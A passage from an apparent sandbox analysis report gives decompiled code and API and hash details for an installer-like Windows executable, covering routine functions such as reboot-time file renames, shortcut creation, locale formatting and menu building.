0x0045dd68
0x0045dd6d
0x0045dd70
0x0045dd73
0x0045dd76
0x0045dd7a
0x0045de25
0x0045de25
0x0045de27
0x0045de2a
0x0045de2d
0x0045de32
0x0045de35
0x0045de3c
0x0045dd80
0x0045dd80
0x0045dd83
0x0045dd87
0x00000000
0x0045dd8d
0x0045dd8d
0x0045dd90
0x0045dd94
0x00000000
0x0045dd9a
0x0045dd9d
0x0045ddb3
0x0045ddc1
0x0045ddcc
0x0045ddd2
0x0045ddd4
0x0045ddfc
0x0045de00
0x0045ddd6
0x0045ddd9
0x0045dde1
0x0045dde6
0x0045dde8
0x0045ddf2
0x0045ddf2
0x0045dde8
0x0045de07
0x0045de09
0x0045de0c
0x0045de0f
0x0045de1d
0x0045de1d
0x0045dd94
0x0045dd87
0x0045dcdf
0x0045dcdf
0x0045dce5
0x0045dfda
0x0045dfdc
0x0045dfe0
0x0045dfe2
0x0045dfe6
0x0045dfeb
0x0045dff3
0x0045dffd
0x0045e005
0x0045e00a
0x0045e00c
0x0045e00e
0x0045e00e
0x0045e00e
0x0045e00e
0x0045e00c
0x0045dfe6
0x0045e012
0x0045e015
0x0045e017
0x0045e019
0x0045e020
0x0045e023
0x0045e035
0x0045e03a
0x0045e03c
0x0045e03e
0x0045e042
0x0045e044
0x0045e044
0x0045e044
0x0045e044
0x0045e042
0x0045e03c
0x0045dceb
0x0045dceb
0x0045dcee
0x0045df13
0x0045df16
0x0045df19
0x0045df1d
0x0045df23
0x0045df27
0x0045df33
0x0045df38
0x0045df3c
0x0045df3f
0x0045df47
0x0045df50
0x0045df5c
0x0045df5c
0x0045df62
0x0045df66
0x0045df72
0x0045df77
0x0045df81
0x0045df8c
0x0045df9a
0x0045dfa2
0x0045dfaf
0x0045dfb3
0x0045dfba
0x0045dfbb
0x0045dfc3
0x0045dfc3
0x0045df66
0x0045df27
0x0045dcf4
0x0045dcf4
0x0045dcf5
0x0045def7
0x0045defa
0x0045defe
0x0045df04
0x0045df04
0x0045dcfb
0x0045dcfc
0x0045dd2f
0x0045dd2f
0x0045dcfc
0x0045dcf5
0x0045dcee
0x0045e048
0x0045e04a
0x0045e04d
0x0045e050
0x0045e05d
0x0045e05d
0x0045dcdd

APIs

LoadCursorA.USER32 ref: 0045DDA8
SetCursor.USER32(00000000,00000000,00007F02,00000000,0045DE3D), ref: 0045DDAE
SetCursor.USER32(?,0045DE25,00007F02,00000000,0045DE3D), ref: 0045DE18

Strings

Internal error: Item already expanding, xrefs: 0045DD45
, xrefs: 0045E03E
, xrefs: 0045E023

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Cursor$Load
String ID: $ $Internal error: Item already expanding
API String ID: 1675784387-1948079669
Opcode ID: 39b95f3cc0a8b9166b63294a168ed62df7465f5245ad47c0cb614c53f2bc52d9
Instruction ID: 47fd772c06e249c7ddb6849c30c983d1bafec2352ed9edd8cdf6708fe5ab0d05
Opcode Fuzzy Hash: 39b95f3cc0a8b9166b63294a168ed62df7465f5245ad47c0cb614c53f2bc52d9
Instruction Fuzzy Hash: B7B1A030A00644DFDB25DF29C585B9EBBF1AF05705F1884AAE8459B793C77CAE48CB18

Uniqueness

Uniqueness Score: -1.00%

Function 00451F7C Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00451F7C(void* __eax, void* __ebx, char __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				char _v40;
				char _v41;
				char _v48;
				char _v52;
				void* __ecx;
				void* _t90;
				void* _t151;
				void* _t176;
				void* _t177;
				intOrPtr _t180;
				intOrPtr _t188;
				intOrPtr _t195;
				intOrPtr _t219;
				intOrPtr _t229;
				intOrPtr _t230;

				_t227 = __esi;
				_t226 = __edi;
				_t229 = _t230;
				_t180 = 5;
				goto L1;
				L4:
				if(E0042DA0C(_t90) != 0) {
					if(_t176 == 0) {
						E00451EA4(_v8, _t176, _t181,  &_v48, _t226, _t227);
						E004034AC( &_v8, _v48);
						if(_v12 != 0) {
							E00451EA4(_v12, _t176, _t181,  &_v48, _t226, _t227);
							E004034AC( &_v12, _v48);
						}
					}
					if(E00451148(_t176, _v12, _v8, 5) == 0) {
						E00451868("MoveFileEx");
					}
					_pop(_t195);
					 *[fs:eax] = _t195;
					_push(E004522B9);
					E00403438( &_v52, 2);
					E00403438( &_v40, 2);
					return E00403438( &_v24, 5);
				} else {
					E0042D754( &_v16);
					E0042C3E0(_v16,  &_v48);
					E004035D8( &_v20, "WININIT.INI", _v48);
					E00451B20(0, _t176, 0x4522dc, _v16, _t226, _t227,  &_v24);
					_push(_t229);
					_push(0x452211);
					_push( *[fs:eax]);
					 *[fs:eax] = _t230;
					_v28 = 0;
					_v32 = 0;
					_push(_t229);
					_push(0x4521bb);
					_push( *[fs:eax]);
					 *[fs:eax] = _t230;
					WritePrivateProfileStringA(0, 0, 0, E00403750(_v20));
					_v28 = E0044F788(1, 1, 0, 3);
					_t188 = _v24;
					_v32 = E0044F788(1, 0, 1, 0);
					_v41 = 0;
					_t177 = 0;
					while(E0044FA1C(_v28) == 0) {
						E0044FA2C(_v28, _t177,  &_v36, _t226, _t227);
						E00406B48(_v36,  &_v40);
						if(_v40 == 0 ||  *_v40 != 0x5b) {
							L11:
							E0044FBE4(_v32, 1, _t188, _v36, _t226, _t227);
							_t177 = 0;
							continue;
						} else {
							if(E00406A24(_v40, "[rename]") != 0) {
								if(_v41 == 0) {
									goto L11;
								}
							} else {
								_v41 = 1;
								goto L11;
							}
						}
						break;
					}
					if(_v41 == 0) {
						E0044FBE4(_v32, _t177, _t188, "[rename]", _t226, _t227);
					}
					if(_v12 == 0) {
						E004034AC( &_v40, 0x452300);
					} else {
						E0042D700(_v12, _t188,  &_v40);
					}
					E004034AC( &_v48, _v40);
					E00403594( &_v48, 0x45230c);
					_push( &_v48);
					E0042D700(_v8, _t188,  &_v52);
					_pop(_t151);
					E00403594(_t151, _v52);
					E0044FBE4(_v32, _t177, _t188, _v48, _t226, _t227);
					if(_t177 != 0) {
						E0044FBE4(_v32, _t177, _t188, _v36, _t226, _t227);
					}
					while(E0044FA1C(_v28) == 0) {
						E0044FA2C(_v28, _t177,  &_v36, _t226, _t227);
						E0044FBE4(_v32, _t177, _t188, _v36, _t226, _t227);
					}
					_pop(_t219);
					 *[fs:eax] = _t219;
					_push(E004521C2);
					E00402B70(_v32);
					return E00402B70(_v28);
				}
				L1:
				_push(0);
				_push(0);
				_t180 = _t180 - 1;
				if(_t180 != 0) {
					goto L1;
				} else {
					_push(_t180);
					_t1 =  &_v8;
					_t181 =  *_t1;
					 *_t1 = _t180;
					_push(__esi);
					_push(__edi);
					_v12 =  *_t1;
					_v8 = __edx;
					_t176 = __eax;
					E00403740(_v8);
					E00403740(_v12);
					_push(_t229);
					_push(0x4522b2);
					_push( *[fs:eax]);
					 *[fs:eax] = _t230;
					E0042C738(_v8,  &_v48);
					_t90 = E004034AC( &_v8, _v48);
					if(_v12 != 0) {
						E0042C738(_v12,  &_v48);
						_t90 = E004034AC( &_v12, _v48);
					}
				}
				goto L4;
			}

0x00451f7c
0x00451f7c
0x00451f7d
0x00451f80
0x00451f80
0x00451feb
0x00451ff2
0x0045222c
0x00452234
0x0045223f
0x00452248
0x00452250
0x0045225b
0x0045225b
0x00452248
0x00452271
0x00452278
0x00452278
0x0045227f
0x00452282
0x00452285
0x00452292
0x0045229f
0x004522b1
0x00451ff8
0x00451ffb
0x00452006
0x00452016
0x00452029
0x00452030
0x00452031
0x00452036
0x00452039
0x0045203e
0x00452043
0x00452048
0x00452049
0x0045204e
0x00452051
0x00452063
0x0045207d
0x00452086
0x00452095
0x00452098
0x0045209c
0x004520f0
0x004520a6
0x004520b3
0x004520bc
0x004520e3
0x004520e9
0x004520ee
0x00000000
0x004520c6
0x004520d5
0x004520e1
0x00000000
0x00000000
0x004520d7
0x004520d7
0x00000000
0x004520d7
0x004520d5
0x00000000
0x004520bc
0x00452100
0x0045210a
0x0045210a
0x00452113
0x0045212a
0x00452115
0x0045211b
0x0045211b
0x00452135
0x00452142
0x0045214a
0x00452151
0x00452159
0x0045215a
0x00452165
0x0045216c
0x00452174
0x00452174
0x00452191
0x00452181
0x0045218c
0x0045218c
0x0045219f
0x004521a2
0x004521a5
0x004521ad
0x004521ba
0x004521ba
0x00451f85
0x00451f85
0x00451f87
0x00451f89
0x00451f8a
0x00000000
0x00451f8c
0x00451f8c
0x00451f8d
0x00451f8d
0x00451f8d
0x00451f91
0x00451f92
0x00451f93
0x00451f96
0x00451f99
0x00451f9e
0x00451fa6
0x00451fad
0x00451fae
0x00451fb3
0x00451fb6
0x00451fbf
0x00451fca
0x00451fd3
0x00451fdb
0x00451fe6
0x00451fe6
0x00451fd3
0x00000000

APIs

WritePrivateProfileStringA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00452063

Strings

NUL, xrefs: 00452125
.tmp, xrefs: 0045201F
MoveFileEx, xrefs: 00452273
WININIT.INI, xrefs: 00452011
[rename], xrefs: 004520C6, 00452102

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: PrivateProfileStringWrite
String ID: .tmp$MoveFileEx$NUL$WININIT.INI$[rename]
API String ID: 390214022-3304407042
Opcode ID: c01c200b96392ff4c1eb8281f07ced6b4a411ec9ce6db90a16eb1c74205287f7
Instruction ID: 4e2d304ab99e232e525d75e2199f44beb043213359159d3852ae2ebd11ffc70b
Opcode Fuzzy Hash: c01c200b96392ff4c1eb8281f07ced6b4a411ec9ce6db90a16eb1c74205287f7
Instruction Fuzzy Hash: 8B91F134A001099BDB01EBA5C982BDEB7B5EF49705F508467F900B7292D77CAE49CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00454308 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 178
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00454308(void* __eax, void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8, short _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v24;
				char* _t53;
				intOrPtr* _t58;
				intOrPtr* _t63;
				intOrPtr* _t67;
				intOrPtr* _t71;
				void* _t73;
				intOrPtr* _t77;
				void* _t79;
				intOrPtr* _t83;
				intOrPtr* _t86;
				void* _t93;
				intOrPtr* _t100;
				intOrPtr* _t105;
				intOrPtr* _t111;
				intOrPtr* _t116;
				char* _t119;
				intOrPtr _t124;
				intOrPtr _t133;
				void* _t139;
				void* _t141;
				void* _t143;
				void* _t144;
				intOrPtr _t145;

				_t143 = _t144;
				_t145 = _t144 + 0xffffffec;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v24 = 0;
				_v8 = __ecx;
				_t139 = __edx;
				_t141 = __eax;
				_t124 = _a8;
				_push(_t143);
				_push(0x4544fe);
				_push( *[fs:eax]);
				 *[fs:eax] = _t145;
				if(_t124 == 0) {
					_t53 = 0x80004005;
				} else {
					_t53 =  &_v12;
					_push(_t53);
					_push(0x48e774);
					_push(1);
					_push(0);
					_push(0x48ea38);
					L0042CB64();
				}
				if(_t53 != 0) {
					_t124 = 0;
					_t119 =  &_v12;
					_push(_t119);
					_push(0x48e774);
					_push(1);
					_push(0);
					_push(0x48e764);
					L0042CB64();
					_t148 = _t119;
					if(_t119 != 0) {
						E0045187C("CoCreateInstance", 0, _t119, _t139, _t141, _t148);
					}
				}
				_v16 = 0;
				_v20 = 0;
				 *[fs:edx] = _t145;
				_t58 = _v12;
				 *((intOrPtr*)( *_t58 + 0x50))(_t58, E00403750(_v8),  *[fs:edx], 0x4544e1, _t143);
				_t63 = _v12;
				 *((intOrPtr*)( *_t63 + 0x2c))(_t63, E00403750(_a32));
				if(_a28 != 0) {
					_t116 = _v12;
					 *((intOrPtr*)( *_t116 + 0x24))(_t116, E00403750(_a28));
				}
				if(_a24 != 0) {
					_t111 = _v12;
					 *((intOrPtr*)( *_t111 + 0x44))(_t111, E00403750(_a24), _a20);
				}
				_t67 = _v12;
				 *((intOrPtr*)( *_t67 + 0x3c))(_t67, _a16);
				if(_t139 != 0) {
					_t105 = _v12;
					 *((intOrPtr*)( *_t105 + 0x1c))(_t105, E00403750(_t139));
				}
				if(_a12 != 0) {
					_t100 = _v12;
					 *((intOrPtr*)( *_t100 + 0x34))(_t100, _a12);
				}
				_t71 = _v12;
				_t73 =  *((intOrPtr*)( *_t71))(_t71, 0x48e744,  &_v16);
				_t153 = _t73;
				if(_t73 != 0) {
					_t73 = E0045187C("IShellLink::QueryInterface", _t124, _t73, _t139, _t141, _t153);
				}
				if(_t124 == 0) {
					L19:
					_v20 = E00403CBC(_t141);
					goto L20;
				} else {
					_t93 = E00454210(_t73);
					_t155 = _t93;
					if(_t93 == 0) {
						goto L19;
					}
					E0042C484(_t141, _t124,  &_v24, 0, _t139, _t141, _t155);
					_v20 = E00403CBC(_v24);
					L20:
					if(_v20 == 0) {
						E00408B98();
					}
					_t77 = _v16;
					_t79 =  *((intOrPtr*)( *_t77 + 0x18))(_t77, _v20, 1);
					_t157 = _t79;
					if(_t79 != 0) {
						E0045187C("IPersistFile::Save", _t124, _t79, _t139, _t141, _t157);
					}
					E00454220(_v16, _t124, _a4, _t141, _t139, _t141, _t157);
					_pop(_t133);
					 *[fs:eax] = _t133;
					_push(0x4544e8);
					if(_v20 != 0) {
						_push(_v20);
						L0042CB7C();
					}
					if(_v16 != 0) {
						_t86 = _v16;
						 *((intOrPtr*)( *_t86 + 8))(_t86);
					}
					_t83 = _v12;
					return  *((intOrPtr*)( *_t83 + 8))(_t83);
				}
			}

0x00454309
0x0045430b
0x0045430e
0x0045430f
0x00454310
0x00454313
0x00454316
0x00454319
0x0045431b
0x0045431d
0x00454322
0x00454323
0x00454328
0x0045432b
0x00454330
0x0045434b
0x00454332
0x00454332
0x00454335
0x00454336
0x0045433b
0x0045433d
0x0045433f
0x00454344
0x00454344
0x00454352
0x00454354
0x00454356
0x00454359
0x0045435a
0x0045435f
0x00454361
0x00454363
0x00454368
0x0045436d
0x0045436f
0x00454378
0x00454378
0x0045436f
0x0045437f
0x00454384
0x00454392
0x0045439e
0x004543a4
0x004543b0
0x004543b6
0x004543bd
0x004543c8
0x004543ce
0x004543ce
0x004543d5
0x004543e4
0x004543ea
0x004543ea
0x004543f1
0x004543f7
0x004543fc
0x00454406
0x0045440c
0x0045440c
0x00454414
0x0045441b
0x00454421
0x00454421
0x0045442d
0x00454433
0x00454435
0x00454437
0x00454440
0x00454440
0x00454447
0x0045446b
0x00454472
0x00000000
0x00454449
0x00454449
0x0045444e
0x00454450
0x00000000
0x00000000
0x00454459
0x00454466
0x00454475
0x00454479
0x0045447b
0x0045447b
0x00454486
0x0045448c
0x0045448f
0x00454491
0x0045449a
0x0045449a
0x004544a7
0x004544ae
0x004544b1
0x004544b4
0x004544bd
0x004544c2
0x004544c3
0x004544c3
0x004544cc
0x004544ce
0x004544d4
0x004544d4
0x004544d7
0x004544e0
0x004544e0

APIs

7632B690.OLE32(0048EA38,00000000,00000001,0048E774,?,00000000,004544FE), ref: 00454344

Part of subcall function 00403CBC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CF6
Part of subcall function 00403CBC: SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403D01

7632B690.OLE32(0048E764,00000000,00000001,0048E774,?,00000000,004544FE), ref: 00454368
SysFreeString.OLEAUT32(00000000), ref: 004544C3

Strings

IShellLink::QueryInterface, xrefs: 0045443B
CoCreateInstance, xrefs: 00454373
IPersistFile::Save, xrefs: 00454495

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: 7632B690String$AllocByteCharFreeMultiWide
String ID: CoCreateInstance$IPersistFile::Save$IShellLink::QueryInterface
API String ID: 927556341-615220198
Opcode ID: e0703d10b8990764f2cc69b6d74185b8cb38d62dada355ae23bcda9d78490e6c
Instruction ID: 9617e2a97f1554c60f689d49f787e3e71de89ce4c47c5519b461097e66715909
Opcode Fuzzy Hash: e0703d10b8990764f2cc69b6d74185b8cb38d62dada355ae23bcda9d78490e6c
Instruction Fuzzy Hash: AF514071B40104AFDB50EFA9C885F9E77F8AF4930AF014466B904EB262DB78DD84CB19

Uniqueness

Uniqueness Score: -1.00%

Function 004086B8 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 167
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E004086B8(void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t148;
				intOrPtr _t156;

				_t153 = __esi;
				_t152 = __edi;
				_push(0);
				_push(0);
				_push(0);
				_push(__esi);
				_push(__edi);
				_push(_t156);
				_push(0x408900);
				_push( *[fs:eax]);
				 *[fs:eax] = _t156;
				_t104 = GetSystemDefaultLCID();
				E00408500(_t31, 0, 0x14,  &_v16);
				E00403468(0x48f498, _t104, _v16, __edi, __esi);
				E00408500(_t104, 0x408918, 0x1b,  &_v16);
				 *0x48f49c = E00406D6C(0x408918, 0);
				E00408500(_t104, 0x408918, 0x1c,  &_v16);
				 *0x48f49d = E00406D6C(0x408918, 0);
				 *0x48f49e = E0040854C(_t104, 0x2c, 0xf);
				 *0x48f49f = E0040854C(_t104, 0x2e, 0xe);
				E00408500(_t104, 0x408918, 0x19,  &_v16);
				 *0x48f4a0 = E00406D6C(0x408918, 0);
				 *0x48f4a1 = E0040854C(_t104, 0x2f, 0x1d);
				E00408500(_t104, "m/d/yy", 0x1f,  &_v16);
				E00403468(0x48f4a4, _t104, _v16, _t152, _t153);
				E00408500(_t104, "mmmm d, yyyy", 0x20,  &_v16);
				E00403468(0x48f4a8, _t104, _v16, _t152, _t153);
				 *0x48f4ac = E0040854C(_t104, 0x3a, 0x1e);
				E00408500(_t104, 0x40894c, 0x28,  &_v16);
				E00403468(0x48f4b0, _t104, _v16, _t152, _t153);
				E00408500(_t104, 0x408958, 0x29,  &_v16);
				E00403468(0x48f4b4, _t104, _v16, _t152, _t153);
				E00408500(_t104, 0x408918, 0x25,  &_v16);
				if(E00406D6C(0x408918, 0) != 0) {
					E004034AC( &_v8, 0x408970);
				} else {
					E004034AC( &_v8, 0x408964);
				}
				E00408500(_t104, 0x408918, 0x23,  &_v16);
				if(E00406D6C(0x408918, 0) != 0) {
					E00403418( &_v12);
				} else {
					E004034AC( &_v12, 0x40897c);
				}
				_push(_v8);
				_push(":mm");
				_push(_v12);
				E0040364C();
				_push(_v8);
				_push(":mm:ss");
				_push(_v12);
				E0040364C();
				_pop(_t148);
				 *[fs:eax] = _t148;
				_push(E00408907);
				return E00403438( &_v16, 3);
			}

0x004086b8
0x004086b8
0x004086bb
0x004086bd
0x004086bf
0x004086c2
0x004086c3
0x004086c6
0x004086c7
0x004086cc
0x004086cf
0x004086d7
0x004086e6
0x004086f3
0x00408708
0x00408717
0x0040872c
0x0040873b
0x0040874e
0x00408761
0x00408776
0x00408785
0x00408798
0x004087ad
0x004087ba
0x004087cf
0x004087dc
0x004087ef
0x00408804
0x00408811
0x00408826
0x00408833
0x00408848
0x00408859
0x00408872
0x0040885b
0x00408863
0x00408863
0x00408887
0x00408898
0x004088ac
0x0040889a
0x004088a2
0x004088a2
0x004088b1
0x004088b4
0x004088b9
0x004088c6
0x004088cb
0x004088ce
0x004088d3
0x004088e0
0x004088e7
0x004088ea
0x004088ed
0x004088ff

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00408900,?,?,?,?,00000000,00000000,00000000,?,00409907,00000000,0040991A), ref: 004086D2

Part of subcall function 00408500: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0048F4C0,00000001,?,004085CB,?,00000000,004086AA), ref: 0040851E

Part of subcall function 0040854C: GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,0040874E,?,?,?,00000000,00408900), ref: 0040855F

Strings

mmmm d, yyyy, xrefs: 004087C3
:mm:ss, xrefs: 004088CE
m/d/yy, xrefs: 004087A1
AMPM, xrefs: 0040889D
:mm, xrefs: 004088B4

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: InfoLocale$DefaultSystem
String ID: AMPM$:mm$:mm:ss$m/d/yy$mmmm d, yyyy
API String ID: 1044490935-665933166
Opcode ID: 1e705da47985ffa4922a367eb7baaddd681388b94d020ec690b26d485f6814a1
Instruction ID: e4dac29d349118f62fd6774a3e23bf456a699e18f87bd38fc5d8080b6a40e551
Opcode Fuzzy Hash: 1e705da47985ffa4922a367eb7baaddd681388b94d020ec690b26d485f6814a1
Instruction Fuzzy Hash: 04514A34B001086BD701FAA98D41B9F7769DB94704F50D87FB181BB7C6CA3CCA098B59

Uniqueness

Uniqueness Score: -1.00%

Function 004116D8 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 158
windowCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E004116D8(void* __eax, void* __ebx, struct HMENU__* __edx, void* __edi, intOrPtr __esi) {
				char _v8;
				struct tagMENUITEMINFOA _v52;
				char _v56;
				intOrPtr _t91;
				CHAR* _t97;
				short _t128;
				void* _t132;
				intOrPtr _t139;
				struct HMENU__* _t159;
				int _t163;
				void* _t167;
				void* _t171;

				_t160 = __esi;
				_push(__esi);
				_push(__edi);
				_v56 = 0;
				_v8 = 0;
				_t159 = __edx;
				_t132 = __eax;
				_push(_t167);
				_push(0x4118dd);
				_push( *[fs:eax]);
				 *[fs:eax] = _t167 + 0xffffffcc;
				if( *((char*)(__eax + 0x2c)) == 0) {
					L15:
					_pop(_t139);
					 *[fs:eax] = _t139;
					_push(E004118E4);
					E00403418( &_v56);
					return E00403418( &_v8);
				}
				E004034AC( &_v8,  *((intOrPtr*)(__eax + 0x20)));
				if(E00411C80(_t132) <= 0) {
					__eflags =  *((short*)(_t132 + 0x40));
					if( *((short*)(_t132 + 0x40)) == 0) {
						L8:
						_t171 = (GetVersion() & 0x000000ff) - 4;
						if(_t171 < 0) {
							_t163 =  *(0x48e294 + ((E0040369C( *((intOrPtr*)(_t132 + 0x20)), E00411900) & 0xffffff00 | __eflags == 0x00000000) & 0x0000007f) * 4) |  *0x0048E288 |  *0x0048E278 |  *0x0048E280 | 0x00000400;
							_t91 = E00411C80(_t132);
							__eflags = _t91;
							if(_t91 <= 0) {
								InsertMenuA(_t159, 0xffffffff, _t163,  *(_t132 + 0x30) & 0x0000ffff, E00403750(_v8));
							} else {
								_t97 = E00403750( *((intOrPtr*)(_t132 + 0x20)));
								InsertMenuA(_t159, 0xffffffff, _t163 | 0x00000010, E00411A90(_t132, _t159, _t163), _t97);
							}
						} else {
							_v52.cbSize = 0x2c;
							_v52.fMask = 0x3f;
							_v52.fType =  *(0x48e2c8 + ((E0040369C( *((intOrPtr*)(_t132 + 0x20)), E00411900) & 0xffffff00 | _t171 == 0x00000000) & 0x0000007f) * 4) |  *0x0048E2C0 |  *0x0048E29C;
							_v52.fState =  *0x0048E2A8 |  *0x0048E2B8 |  *0x0048E2B0;
							_v52.wID =  *(_t132 + 0x30) & 0x0000ffff;
							_v52.hSubMenu = 0;
							_v52.hbmpChecked = 0;
							_v52.hbmpUnchecked = 0;
							_v52.dwTypeData = E00403750(_v8);
							if(E00411C80(_t132) > 0) {
								_v52.hSubMenu = E00411A90(_t132, _t159, _t160);
							}
							InsertMenuItemA(_t159, 0xffffffff, 1,  &_v52);
						}
						goto L15;
					}
					_t160 =  *((intOrPtr*)(_t132 + 0x44));
					__eflags = _t160;
					if(_t160 == 0) {
						L7:
						_push(_v8);
						_push(0x4118f4);
						E004110BC( *((intOrPtr*)(_t132 + 0x40)), _t132, 0,  &_v56, _t159, _t160);
						_push(_v56);
						E0040364C();
						goto L8;
					}
					__eflags =  *((intOrPtr*)(_t160 + 0x44));
					if( *((intOrPtr*)(_t160 + 0x44)) != 0) {
						goto L7;
					}
					_t128 = E00402BB8( *((intOrPtr*)(_t160 + 4)), 0x410dac);
					__eflags = _t128;
					if(_t128 != 0) {
						goto L8;
					}
					goto L7;
				}
				_v52.hSubMenu = E00411A90(_t132, _t159, __esi);
				goto L8;
			}

0x004116d8
0x004116df
0x004116e0
0x004116e3
0x004116e6
0x004116e9
0x004116eb
0x004116ef
0x004116f0
0x004116f5
0x004116f8
0x004116ff
0x004118bf
0x004118c1
0x004118c4
0x004118c7
0x004118cf
0x004118dc
0x004118dc
0x0041170b
0x00411719
0x00411727
0x0041172c
0x00411770
0x00411779
0x0041177d
0x00411878
0x00411880
0x00411885
0x00411887
0x004118ba
0x00411889
0x0041188c
0x004118a1
0x004118a1
0x00411783
0x00411783
0x0041178a
0x004117c5
0x004117ec
0x004117f3
0x004117f8
0x004117fd
0x00411802
0x0041180d
0x00411819
0x00411822
0x00411822
0x0041182e
0x0041182e
0x00000000
0x0041177d
0x0041172e
0x00411731
0x00411733
0x0041174c
0x0041174c
0x0041174f
0x0041175b
0x00411760
0x0041176b
0x00000000
0x0041176b
0x00411735
0x00411739
0x00000000
0x00000000
0x00411743
0x00411748
0x0041174a
0x00000000
0x00000000
0x00000000
0x0041174a
0x00411722
0x00000000

APIs

GetVersion.KERNEL32(00000000,004118DD), ref: 00411770
InsertMenuItemA.USER32(?,000000FF,00000001,0000002C), ref: 0041182E

Part of subcall function 00411A90: CreatePopupMenu.USER32(?,00411899,00000000,00000000,004118DD), ref: 00411AAA

InsertMenuA.USER32(?,000000FF,?,?,00000000), ref: 004118BA

Part of subcall function 00411A90: CreateMenu.USER32(?,00411899,00000000,00000000,004118DD), ref: 00411AB4

InsertMenuA.USER32(?,000000FF,?,00000000,00000000), ref: 004118A1

Strings

,, xrefs: 00411783
?, xrefs: 0041178A

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Menu$Insert$Create$ItemPopupVersion
String ID: ,$?
API String ID: 2359071979-2308483597
Opcode ID: e1fb53b035570fa2222cb30ffd958d27a6b36b20176d252f81fa281313642444
Instruction ID: 0334ad3b68887629b9a54eb4b7d8b43aeaa35efcad7df6a84d4f30841fb17169
Opcode Fuzzy Hash: e1fb53b035570fa2222cb30ffd958d27a6b36b20176d252f81fa281313642444
Instruction Fuzzy Hash: 5F51F674A101049BEB10EF76DC81AEE7BF9AF09344B15857AFA04E73A2D738D9418B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041BE47 Relevance: 10.7, APIs: 7, Instructions: 153
windowCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0041BE47(signed int __ebx, void* __edi) {
				struct HINSTANCE__* _t118;
				signed int _t125;
				signed int _t127;
				long _t132;
				void* _t134;
				void* _t140;
				intOrPtr _t150;
				signed int _t154;
				void* _t158;
				BYTE* _t159;
				BYTE* _t162;
				signed int _t164;
				void* _t166;
				intOrPtr _t167;

				_t158 = __edi;
				_t127 = __ebx | 0xffffffff;
				 *(_t166 - 0x20) = 0;
				_t134 =  *((intOrPtr*)(_t166 - 0xc)) - 1;
				if(_t134 < 0) {
					L10:
					if(_t127 == 0xffffffff) {
						_t127 = 0;
					}
					 *((intOrPtr*)(_t166 - 0x44)) =  *((intOrPtr*)(_t166 - 0x10)) + (_t127 + _t127) * 8;
